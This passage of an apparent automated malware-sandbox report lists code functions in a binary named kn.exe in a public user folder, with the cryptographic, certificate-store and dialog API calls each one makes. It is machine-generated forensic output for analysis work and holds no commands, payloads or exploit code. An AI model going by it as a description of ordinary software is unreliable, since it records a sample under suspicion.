            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0A1E8 LocalFree,CryptHashCertificate2,CertGetCRLContextProperty,CertGetNameStringA,memmove,memmove,GetLastError,GetLastError,#357,GetLastError,#357,GetLastError,GetLastError,GetLastError,#357,LocalFree,memmove,GetLastError,#357,GetLastError,#359,LocalFree,7_2_00007FF6E3E0A1E8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DC21A4 #360,#359,#357,#357,BCryptFreeBuffer,7_2_00007FF6E3DC21A4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E461AC SysStringLen,SysStringLen,CryptStringToBinaryW,GetLastError,#357,7_2_00007FF6E3E461AC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE417C #360,#360,#359,#357,#357,#357,#357,CryptDestroyKey,CryptGetUserKey,GetLastError,#358,LocalFree,LocalFree,LocalFree,CryptDestroyKey,7_2_00007FF6E3DE417C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E06194 CryptQueryObject,GetLastError,CertEnumCertificatesInStore,CertAddStoreToCollection,GetLastError,#357,CertCloseStore,CertFreeCertificateContext,7_2_00007FF6E3E06194
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E8613C CryptDecodeObjectEx,7_2_00007FF6E3E8613C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E54914 GetLastError,#359,CryptGetUserKey,CryptGetUserKey,GetLastError,#357,CryptDestroyKey,CryptReleaseContext,7_2_00007FF6E3E54914
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0E914 CryptCreateHash,CryptHashData,CryptGetHashParam,CryptDestroyHash,GetLastError,GetLastError,GetLastError,#357,CryptDestroyHash,7_2_00007FF6E3E0E914
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E208EC BCryptGetProperty,#205,#359,#357,#357,7_2_00007FF6E3E208EC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D9A8CC CryptFindLocalizedName,CertEnumCertificatesInStore,CertFindCertificateInStore,CertGetCRLContextProperty,#357,#357,#357,CertEnumCertificatesInStore,7_2_00007FF6E3D9A8CC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E8E8B0 CryptDecodeObjectEx,GetLastError,CryptBinaryToStringW,GetLastError,memset,CryptBinaryToStringW,??3@YAXPEAX@Z,LocalFree,7_2_00007FF6E3E8E8B0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E20844 BCryptExportKey,#205,#359,#357,#357,7_2_00007FF6E3E20844
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DA6824 CryptHashCertificate,GetLastError,#357,7_2_00007FF6E3DA6824
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E58814 NCryptIsKeyHandle,NCryptIsKeyHandle,#357,#359,#357,CryptFindOIDInfo,LocalAlloc,#357,LocalAlloc,#357,CryptFindOIDInfo,#359,LocalAlloc,#357,memmove,LocalFree,#357,7_2_00007FF6E3E58814
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0C7F0 GetLastError,#357,CertOpenStore,GetLastError,CertEnumCertificatesInStore,CertCompareCertificateName,CertFindExtension,CryptDecodeObject,GetLastError,#357,CertGetCRLContextProperty,GetLastError,#357,CertSetCTLContextProperty,GetLastError,#357,GetSystemTimeAsFileTime,I_CryptCreateLruEntry,GetLastError,#357,I_CryptInsertLruEntry,I_CryptReleaseLruEntry,GetLastError,#357,CertEnumCertificatesInStore,I_CryptCreateLruEntry,GetLastError,#357,I_CryptFindLruEntry,I_CryptRemoveLruEntry,#357,CertFreeCertificateChain,GetLastError,I_CryptInsertLruEntry,I_CryptReleaseLruEntry,#357,CertCloseStore,CertFreeCertificateContext,7_2_00007FF6E3E0C7F0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E207F4 BCryptDestroyKey,#205,#357,7_2_00007FF6E3E207F4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E307D0 memset,#357,#360,#359,#357,#358,LoadCursorW,SetCursor,#360,#358,CertGetPublicKeyLength,GetLastError,#357,strcmp,GetLastError,#357,CryptFindOIDInfo,#357,#357,LocalFree,#357,LocalFree,#358,#358,#357,SetCursor,SetCursor,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#357,#357,#225,#359,#359,#357,#359,LocalFree,#359,#223,#359,#357,#223,#359,#359,#359,DialogBoxParamW,SysStringByteLen,#357,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CertFreeCertificateContext,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,SysFreeString,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,7_2_00007FF6E3E307D0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D867CC LocalAlloc,#357,GetSystemTimeAsFileTime,LocalAlloc,#357,LocalAlloc,#357,memmove,memcmp,CryptEncodeObjectEx,memmove,LocalFree,GetLastError,#357,#359,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3D867CC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E127BC _strnicmp,#357,#357,#357,#357,CryptDecodeObject,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3E127BC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E207A4 BCryptDestroyHash,#205,#357,7_2_00007FF6E3E207A4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E20740 BCryptCloseAlgorithmProvider,#205,#357,#357,7_2_00007FF6E3E20740
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E5A740 CryptAcquireContextW,GetLastError,#357,CryptImportKey,GetLastError,CryptDestroyKey,CryptGetUserKey,GetLastError,#358,CryptGetUserKey,GetLastError,CryptDestroyKey,#357,CryptDestroyKey,CryptReleaseContext,7_2_00007FF6E3E5A740
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E12724 CryptDecodeObject,GetLastError,#357,7_2_00007FF6E3E12724
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DC26E0 #357,#357,LocalAlloc,memmove,memset,#357,BCryptFreeBuffer,#357,#357,#357,7_2_00007FF6E3DC26E0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E566D8 NCryptFreeObject,#360,7_2_00007FF6E3E566D8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E486D8 CertFindCertificateInStore,CryptAcquireCertificatePrivateKey,GetLastError,#359,CertFindCertificateInStore,GetLastError,#359,#357,CertFreeCertificateContext,7_2_00007FF6E3E486D8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF4694 CertFindAttribute,CryptHashCertificate2,memcmp,#357,7_2_00007FF6E3DF4694
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB6694 CryptQueryObject,GetLastError,#359,#357,#357,LocalFree,CertCloseStore,CryptMsgClose,7_2_00007FF6E3DB6694
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E56654 NCryptGetProperty,#360,7_2_00007FF6E3E56654
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DEA654 CryptVerifyCertificateSignature,GetLastError,#358,CertVerifyTimeValidity,CertOpenStore,GetLastError,#357,CryptVerifyCertificateSignature,CertVerifyRevocation,GetLastError,#357,CertCloseStore,7_2_00007FF6E3DEA654
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB0630 #357,CryptDecodeObject,GetLastError,#357,GetLastError,GetLastError,#357,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3DB0630
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DA8600 #357,CryptDecodeObject,GetLastError,LocalFree,7_2_00007FF6E3DA8600
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE25E8 #357,#357,#357,CryptImportKey,GetLastError,#358,#357,CryptSetKeyParam,LocalFree,GetLastError,#357,#357,#357,CertFreeCertificateContext,CryptDestroyKey,7_2_00007FF6E3DE25E8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DAC5D4 NCryptIsKeyHandle,CryptGetProvParam,GetLastError,#357,#357,#357,#357,#357,LocalFree,LocalFree,7_2_00007FF6E3DAC5D4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E265B4 NCryptIsKeyHandle,_CxxThrowException,7_2_00007FF6E3E265B4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E8A58C NCryptOpenStorageProvider,NCryptOpenKey,NCryptGetProperty,GetProcessHeap,HeapAlloc,NCryptGetProperty,NCryptFreeObject,NCryptFreeObject,7_2_00007FF6E3E8A58C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E5A590 GetLastError,#359,CryptGetProvParam,GetLastError,#357,CryptReleaseContext,7_2_00007FF6E3E5A590
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E1E57C CertOpenStore,GetLastError,#357,CertAddEncodedCertificateToStore,GetLastError,#358,CryptFindCertificateKeyProvInfo,GetLastError,#358,#357,CertSetCTLContextProperty,GetLastError,CryptAcquireCertificatePrivateKey,GetLastError,CertSetCTLContextProperty,GetLastError,LocalFree,CertFreeCertificateContext,CertCloseStore,7_2_00007FF6E3E1E57C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E56D2C NCryptFreeBuffer,#360,7_2_00007FF6E3E56D2C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE2D18 #359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,NCryptIsKeyHandle,#357,#357,NCryptIsKeyHandle,#357,#357,LocalFree,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,7_2_00007FF6E3DE2D18
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E20D14 NCryptFinalizeKey,#205,#357,#357,7_2_00007FF6E3E20D14
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E12CF8 memset,#358,#357,CryptAcquireContextW,GetLastError,#357,#357,#358,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptDestroyKey,CryptReleaseContext,DeleteFileW,LocalFree,#357,#357,#359,#359,LocalFree,LocalFree,#357,#357,#357,#357,#357,#359,#359,#359,#359,LocalFree,#359,#359,#357,7_2_00007FF6E3E12CF8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E22CFC CryptDestroyKey,#205,GetLastError,#357,SetLastError,7_2_00007FF6E3E22CFC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E78CF4 GetLastError,#360,CryptGetProvParam,GetLastError,#360,#359,LocalAlloc,CryptGetProvParam,GetLastError,#357,LocalFree,CryptReleaseContext,GetLastError,LocalAlloc,CryptGetProvParam,GetLastError,#358,LocalFree,LocalFree,#357,CryptReleaseContext,LocalFree,7_2_00007FF6E3E78CF4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E56CE0 NCryptEnumStorageProviders,#360,7_2_00007FF6E3E56CE0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE4CC0 #357,lstrcmpW,CryptEnumKeyIdentifierProperties,GetLastError,#357,LocalFree,#357,#359,LocalFree,LocalFree,free,7_2_00007FF6E3DE4CC0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E2ACAC CryptContextAddRef,CryptDuplicateKey,#205,GetLastError,#357,#357,SetLastError,_CxxThrowException,GetLastError,_CxxThrowException,GetLastError,_CxxThrowException,??3@YAXPEAX@Z,7_2_00007FF6E3E2ACAC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E14CA0 CryptAcquireCertificatePrivateKey,GetLastError,#357,CertGetCRLContextProperty,GetLastError,#357,CryptGetUserKey,GetLastError,GetLastError,#357,LocalFree,LocalFree,CryptDestroyKey,CryptReleaseContext,7_2_00007FF6E3E14CA0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E56C88 NCryptEnumAlgorithms,#360,7_2_00007FF6E3E56C88
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E22C80 CryptDestroyHash,#205,GetLastError,#357,SetLastError,7_2_00007FF6E3E22C80
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E64C80 CryptAcquireContextW,GetLastError,#357,CryptGenRandom,GetLastError,CryptGenRandom,GetLastError,memset,CryptReleaseContext,7_2_00007FF6E3E64C80
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E58C58 #357,LocalAlloc,#357,memmove,memset,BCryptFreeBuffer,#357,#357,#360,#359,#359,#359,LocalAlloc,memmove,LocalAlloc,memmove,#357,#357,CryptGetDefaultProviderW,LocalAlloc,CryptGetDefaultProviderW,GetLastError,#357,#357,#357,LocalFree,LocalFree,7_2_00007FF6E3E58C58
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D86C4C CryptFindOIDInfo,#357,#357,#359,CryptFindOIDInfo,#357,LocalFree,7_2_00007FF6E3D86C4C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E20C3C NCryptExportKey,#205,#359,#359,#357,7_2_00007FF6E3E20C3C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DBCC24 CryptDecodeObjectEx,#359,BCryptSetProperty,BCryptGetProperty,#357,BCryptDestroyKey,BCryptCloseAlgorithmProvider,7_2_00007FF6E3DBCC24
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E56C30 NCryptOpenStorageProvider,#360,7_2_00007FF6E3E56C30
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E50BF4 CryptDuplicateHash,GetLastError,#357,CryptGetHashParam,GetLastError,#203,CryptDestroyHash,7_2_00007FF6E3E50BF4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E22BC0 CryptCreateHash,#205,GetLastError,#357,#357,#357,SetLastError,7_2_00007FF6E3E22BC0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DACB98 NCryptIsKeyHandle,GetLastError,#358,#360,NCryptIsKeyHandle,CryptGetProvParam,GetLastError,#357,#359,LocalFree,NCryptIsKeyHandle,CryptGetUserKey,GetLastError,#357,CryptGetKeyParam,GetLastError,#359,CryptDestroyKey,NCryptIsKeyHandle,#359,NCryptIsKeyHandle,7_2_00007FF6E3DACB98
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4CBB4 CryptGetProvParam,GetLastError,#358,LocalAlloc,#357,CryptGetProvParam,GetLastError,#357,LocalFree,7_2_00007FF6E3E4CBB4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E50B9C CryptHashData,GetLastError,#357,7_2_00007FF6E3E50B9C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E20B80 NCryptCreatePersistedKey,#205,#359,#359,#357,7_2_00007FF6E3E20B80
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E8EB38 CryptDecodeObjectEx,GetLastError,??3@YAXPEAX@Z,LocalFree,7_2_00007FF6E3E8EB38
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DC2B00 BCryptEnumContexts,#360,BCryptQueryContextConfiguration,#360,#357,BCryptFreeBuffer,#357,BCryptEnumContextFunctions,#360,#360,BCryptFreeBuffer,#358,#358,#357,BCryptFreeBuffer,7_2_00007FF6E3DC2B00
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E18AFC #357,CertCreateCertificateContext,GetLastError,#357,#357,#357,#357,#357,NCryptIsKeyHandle,#357,CertSetCTLContextProperty,GetLastError,#357,#357,CertCloseStore,CertFreeCertificateContext,7_2_00007FF6E3E18AFC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E22AE4 CryptAcquireContextW,#205,GetLastError,#359,#357,#359,SetLastError,7_2_00007FF6E3E22AE4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E20ABC BCryptVerifySignature,#205,#357,#357,#357,#357,7_2_00007FF6E3E20ABC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E28AA0 _CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,BCryptHashData,#205,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,7_2_00007FF6E3E28AA0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D96A84 LocalAlloc,#357,memmove,CryptHashCertificate2,GetLastError,LocalAlloc,#357,memmove,LocalFree,7_2_00007FF6E3D96A84
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E52A78 #357,CryptAcquireCertificatePrivateKey,GetLastError,#357,#357,LocalFree,LocalFree,LocalFree,#359,#359,7_2_00007FF6E3E52A78
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0EA7C #357,#357,LocalAlloc,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,CryptImportKey,GetLastError,CryptSetKeyParam,GetLastError,CryptSetKeyParam,GetLastError,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,CryptSetKeyParam,GetLastError,#357,LocalFree,LocalFree,LocalFree,CryptDestroyHash,CryptDestroyHash,7_2_00007FF6E3E0EA7C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E04A34 CertGetCRLContextProperty,CryptEncodeObjectEx,GetLastError,CryptHashCertificate2,CryptEncodeObjectEx,GetLastError,CertGetCRLContextProperty,CryptEncodeObjectEx,GetLastError,CryptEncodeObjectEx,GetLastError,GetLastError,GetLastError,#357,LocalFree,7_2_00007FF6E3E04A34
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E20A18 BCryptSetProperty,#205,#359,#357,#357,7_2_00007FF6E3E20A18
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E24A1C NCryptIsKeyHandle,_wcsicmp,#357,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,7_2_00007FF6E3E24A1C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0AA00 memset,memset,#357,#357,#357,#357,CryptEncodeObjectEx,GetLastError,CryptMsgEncodeAndSignCTL,GetLastError,GetLastError,CryptMsgEncodeAndSignCTL,GetLastError,#359,LocalFree,LocalFree,7_2_00007FF6E3E0AA00
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E5A9F0 strcmp,GetLastError,CryptFindOIDInfo,#357,#357,LocalFree,#357,#357,NCryptIsAlgSupported,#360,#357,LocalAlloc,memmove,#357,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#357,LocalFree,LocalFree,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,LocalFree,GetLastError,#357,LocalFree,GetLastError,#357,LocalFree,GetLastError,#357,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,7_2_00007FF6E3E5A9F0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DEE9F0 IsDlgButtonChecked,memset,SendMessageW,LocalFree,GetDlgItemTextW,GetDlgItem,GetDlgItem,EnableWindow,LocalFree,#357,#357,CertFreeCertificateContext,CertFreeCTLContext,GetDlgItem,SendMessageW,SetDlgItemTextW,MessageBoxW,GetDlgItem,SendMessageW,GetDlgItemInt,IsDlgButtonChecked,GetDlgItem,GetDlgItemTextW,new,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetDlgItemTextW,new,GetDlgItem,#357,IsDlgButtonChecked,GetDlgItem,GetDlgItemTextW,new,GetDlgItem,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetDlgItemTextW,SendDlgItemMessageA,CheckDlgButton,GetDlgItem,EnableWindow,SetDlgItemInt,CheckDlgButton,SetDlgItemTextW,SetDlgItemTextW,CertFreeCTLContext,CertFreeCertificateContext,??3@YAXPEAX@Z,memset,SendMessageW,MessageBoxW,memset,CryptUIDlgViewCRLW,memset,CryptUIDlgViewCertificateW,7_2_00007FF6E3DEE9F0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE29A0 #357,#357,GetLastError,#357,CryptAcquireContextW,GetLastError,CryptGetUserKey,GetLastError,CryptGetUserKey,GetLastError,#357,CryptImportKey,GetLastError,CertFreeCertificateContext,CryptReleaseContext,LocalFree,LocalFree,CryptDestroyKey,7_2_00007FF6E3DE29A0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E2099C BCryptOpenAlgorithmProvider,#205,#359,#359,7_2_00007FF6E3E2099C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E52994 CertFreeCertificateContext,CryptSetProvParam,GetLastError,#357,CryptReleaseContext,LocalFree,7_2_00007FF6E3E52994
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DAC960 LocalAlloc,CryptGetKeyIdentifierProperty,GetLastError,#357,LocalFree,LocalFree,7_2_00007FF6E3DAC960
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E28940 BCryptFinishHash,#205,#357,#357,#357,_CxxThrowException,_CxxThrowException,7_2_00007FF6E3E28940
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E2C940 _CxxThrowException,GetLastError,_CxxThrowException,memmove,??_V@YAXPEAX@Z,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,CryptHashData,#205,GetLastError,#357,#357,#357,SetLastError,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,7_2_00007FF6E3E2C940
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DD9134 CryptQueryObject,GetLastError,#357,CertOpenStore,GetLastError,CertOpenStore,GetLastError,CertAddSerializedElementToStore,GetLastError,CertAddEncodedCRLToStore,GetLastError,CertAddEncodedCTLToStore,GetLastError,CertAddEncodedCertificateToStore,GetLastError,#357,CertCloseStore,7_2_00007FF6E3DD9134
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4511C GetSystemInfo,CryptFindOIDInfo,#359,CreateFileW,GetLastError,#357,#359,GetFileSize,#357,CreateFileMappingW,GetLastError,#359,#357,LocalAlloc,BCryptCreateHash,#360,MapViewOfFile,BCryptHashData,#360,UnmapViewOfFile,LocalAlloc,GetLastError,#357,GetLastError,BCryptFinishHash,#360,LocalAlloc,LocalFree,#357,UnmapViewOfFile,CloseHandle,CloseHandle,BCryptDestroyHash,#360,LocalFree,LocalFree,7_2_00007FF6E3E4511C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E57124 BCryptGenerateKeyPair,#360,7_2_00007FF6E3E57124
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E210D8 NCryptSetProperty,#205,#359,#357,#359,#357,7_2_00007FF6E3E210D8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E230D8 CryptGetHashParam,#205,GetLastError,#357,#357,#357,#357,SetLastError,7_2_00007FF6E3E230D8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E570C8 BCryptSetProperty,#360,7_2_00007FF6E3E570C8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DEB098 CryptVerifyCertificateSignature,GetLastError,#358,CertVerifyCRLTimeValidity,CertCompareCertificateName,CertCompareCertificateName,#357,7_2_00007FF6E3DEB098
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E2B0A0 memmove,CryptDecrypt,#205,GetLastError,#357,#357,SetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,memmove,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,7_2_00007FF6E3E2B0A0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DC107C LocalFree,GetLastError,#359,CryptGetProvParam,GetLastError,#357,CryptReleaseContext,#359,#357,LocalFree,7_2_00007FF6E3DC107C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E5705C BCryptGetProperty,#360,7_2_00007FF6E3E5705C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E21058 NCryptOpenStorageProvider,#205,#359,#357,7_2_00007FF6E3E21058
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E19028 #357,#357,CryptMsgClose,CryptMsgClose,CertCloseStore,LocalFree,7_2_00007FF6E3E19028
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D9302F #357,LocalFree,LocalFree,NCryptFreeObject,CoUninitialize,DeleteCriticalSection,7_2_00007FF6E3D9302F
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D97034 #357,CertCreateCertificateContext,#357,CertDuplicateCertificateContext,CertCreateCertificateContext,CertCompareCertificateName,CryptVerifyCertificateSignature,GetLastError,#357,#357,CertFreeCertificateContext,LocalFree,CertFreeCertificateContext,7_2_00007FF6E3D97034
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E2301C CryptGenKey,#205,GetLastError,#357,#357,#357,SetLastError,7_2_00007FF6E3E2301C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E27020 NCryptDecrypt,#205,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,NCryptEncrypt,#205,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,7_2_00007FF6E3E27020
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E5700C BCryptEnumAlgorithms,#360,7_2_00007FF6E3E5700C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E56FAC BCryptOpenAlgorithmProvider,#360,7_2_00007FF6E3E56FAC
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E20FB4 NCryptOpenKey,#205,#359,#357,#357,7_2_00007FF6E3E20FB4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DB4F90 LocalFree,LocalFree,LocalFree,CertFreeCertificateContext,LocalFree,LocalFree,#357,strcmp,GetLastError,#357,CryptMsgGetAndVerifySigner,CryptVerifyDetachedMessageSignature,GetLastError,#357,CertEnumCertificatesInStore,memcmp,#357,CertFreeCertificateContext,#357,#357,CertFreeCertificateContext,strcmp,#357,CryptMsgControl,GetLastError,#357,#357,#357,#357,7_2_00007FF6E3DB4F90
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4EF74 GetLastError,#357,CryptDecodeObject,GetLastError,GetLastError,GetLastError,LocalAlloc,memmove,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3E4EF74
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E10F58 CertAddEncodedCertificateToStore,GetLastError,#357,UuidCreate,StringFromCLSID,CryptAcquireContextW,GetLastError,CryptImportKey,GetLastError,CertSetCTLContextProperty,GetLastError,CryptDestroyKey,CryptReleaseContext,CoTaskMemFree,CertFreeCertificateContext,7_2_00007FF6E3E10F58
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E04F50 CryptEncodeObjectEx,GetLastError,CryptEncodeObjectEx,GetLastError,CryptEncodeObjectEx,GetLastError,#357,LocalFree,7_2_00007FF6E3E04F50
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E56F2C NCryptExportKey,#360,7_2_00007FF6E3E56F2C
